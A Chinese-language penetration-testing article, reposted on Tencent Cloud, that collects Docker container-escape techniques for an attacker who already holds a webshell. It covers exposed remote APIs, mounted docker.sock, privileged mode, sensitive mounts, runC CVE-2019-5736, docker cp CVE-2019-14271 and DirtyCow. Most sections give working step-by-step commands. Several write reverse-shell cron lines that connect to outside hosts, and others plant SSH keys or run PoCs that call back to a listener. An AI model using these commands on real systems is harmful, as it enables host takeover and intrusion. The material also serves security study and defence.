前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技术干货 | Docker 容器逃逸案例汇集

技术干货 | Docker 容器逃逸案例汇集

作者头像
Bypass
发布2020-08-09 18:10:43
2.7K0
发布2020-08-09 18:10:43
举报
文章被收录于专栏:Bypass

当获得一个Webshell,我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。

假设,Webshell就处于Docker容器里,该如何破局,进一步获取目标主机权限呢?


Docker 容器逃逸案例:

1、判断是否处于docker容器里

2、配置不当引起的逃逸

  • Docker Remote API 未授权访问
  • docker.sock 挂载到容器内部
  • docker 高危启动参数
    • privileged 特权模式
    • 挂载敏感目录
    • 相关启动参数存在的安全问题

3、Docker 软件设计引起的逃逸

  • Shocker攻击
  • runC容器逃逸漏洞(CVE-2019-5736)
  • Docker cp 命令(CVE-2019-14271)

4、内核漏洞引起的逃逸

  • 脏牛漏洞(dirtycow-docker-vdso)

一、判断是否在docker容器里

首先,我们需要先判断是否在docker环境里,常用的两个检测方式:

代码语言:javascript
复制
检查/.dockerenv文件是否存在
检查/proc/1/cgroup内是否包含"docker"等字符串。

目前来说,这两种检测方式还是比较有效的,其他检测方式,如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。

二、配置不当引发的docker逃逸

2.1 docker remote api未授权访问

漏洞简述:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。

代码语言:javascript
复制
sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

通过docker daemon api 执行docker命令。

代码语言:javascript
复制
#列出容器信息,效果与docker ps一致。curl http://<target>:2375/containers/json
#启动容器docker -H tcp://<target>:2375 ps -a

漏洞利用:

1、新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

代码语言:javascript
复制
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

2、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

代码语言:javascript
复制
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

3、本地监听端口,获取对方宿主机shell。


2.2 docker.sock挂载到容器内部

场景描述:简单来说就是docker in docker,在docker容器中调用和执行宿主机的docker,将docker宿主机的docker文件和docker.sock文件挂载到容器中,具体为:

代码语言:javascript
复制
docker run --rm -it \  -v /var/run/docker.sock:/var/run/docker.sock \  -v /usr/bin/docker:/usr/bin/docker \  ubuntu \  /bin/bash

漏洞测试:

1、在容器中找到docker.sock

代码语言:javascript
复制
root@95a280bc5a19:/# find / -name docker.sock/run/docker.sock

2、在容器查看宿主机docker信息:

代码语言:javascript
复制
docker -H unix:///var/run/docker.sock info

3、运行一个新容器并挂载宿主机根路径:

代码语言:javascript
复制
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

4、在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取shell。

代码语言:javascript
复制
ls -al /test

2.3 docker 高危启动参数

docker中存在一些比较高危的启动命令,给予容器较大的权限,允许执行一些特权操作,在一定的条件下,可以导致容器逃逸。

代码语言:javascript
复制
docker run --rm -it     --privileged     -v /:/soft     --cap-add=SYS_ADMIN     --net=host      --pid=host        --ipc=host     ubuntu     /bin/bash

特权模式(—privileged)

使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

漏洞测试:

A、通过特权模式运行一个容器:

代码语言:javascript
复制
sudo docker run -itd --privileged ubuntu:latest /bin/bash

B、在容器内,查看磁盘文件

代码语言:javascript
复制
fdisk -l

C、将/dev/sda1 挂载到新建目录

代码语言:javascript
复制
mkdir /testmount /dev/sda1 /test

D、将计划任务写入到宿主机

代码语言:javascript
复制
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.172.136/12345 0>&1' >> /test/var/spool/cron/crontabs/root

E、开启nc监听,成功获取宿主机反弹回来的shell。


挂载敏感目录(-v /:/soft)

漏洞测试:

1、将宿主机root目录挂载到容器

代码语言:javascript
复制
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash

2、模拟攻击者写入ssh密钥

代码语言:javascript
复制
mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

3、利用私钥成功登录。获取宿主机权限。


相关启动参数存在的安全问题:

Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。

代码语言:javascript
复制
--cap-add=SYS_ADMIN  启动时,允许执行mount特权操作,需获得资源挂载进行利用。--net=host           启动时,绕过Network Namespace--pid=host              启动时,绕过PID Namespace--ipc=host              启动时,绕过IPC Namespace

三、Docker 软件设计引起的逃逸

3.1 Shocker 攻击

在容器逃逸案例中,最为著名的是shocker攻击,其通过调用open_by_handle_at函数对宿主机文件系统进行暴力扫描,以获取宿主机的目标文件内容。由于Docker1.0之前版本对容器能力(Capability)使用黑名单策略进行管理,并没有限制CAP_DAC_READ_SEARCH能力,赋予了shocker.c程序调用open_by_handle_at函数的能力,导致容器逃逸的发生。

漏洞影响版本:Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。

github项目地址:

代码语言:javascript
复制
https://github.com/gabrtv/shocker

3.2 runC容器逃逸漏洞(CVE-2019-5736)

漏洞简述:

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用条件:

Docker版本 < 18.09.2,runc版本< 1.0-rc6,一般情况下,可通过 docker 和docker-runc 查看当前版本情况。

漏洞测试:

1、测试环境镜像下载安装:

代码语言:javascript
复制
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载POC,修改脚本,编译

代码语言:javascript
复制
下载pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC
#修改Payloadvi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"
编译生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
拷贝到docker容器中执行 sudo docker cp ./main 248f8b7d3c45:/tmp

3、模仿攻击者,在容器中执行payload

代码语言:javascript
复制
# 进入容器sudo docker exec -it 248f8b7d3c45 /bin/bash
# 修改权限chmod 777 main
# 执行Payload./main

4、假设,管理员通过exec进入容器,从而触发Payload。

代码语言:javascript
复制
sudo docker exec -it  cafa20cfb0f9 /bin/sh

5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。


3.3 Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)

漏洞描述:

当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss*.so库。黑客可以通过在容器中替换libnss*.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。

影响版本:Docker 19.03.0

安全版本:升级至安全版本 Docker 19.03.1及以上。


四、内核漏洞引起的逃逸

4.1 利用DirtyCow漏洞实现Docker逃逸

漏洞简述:

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。

漏洞测试:

1、环境准备:

docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。这里,我们使用ubuntu-14.04.5来复现。

2、测试容器下载并运行:

代码语言:javascript
复制
git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash

3、进入容器,编译POC并执行:

代码语言:javascript
复制
cd /dirtycow-vdso/make./0xdeadbeef 192.168.172.136:1234

4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、判断是否在docker容器里
  • 二、配置不当引发的docker逃逸
  • 三、Docker 软件设计引起的逃逸
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档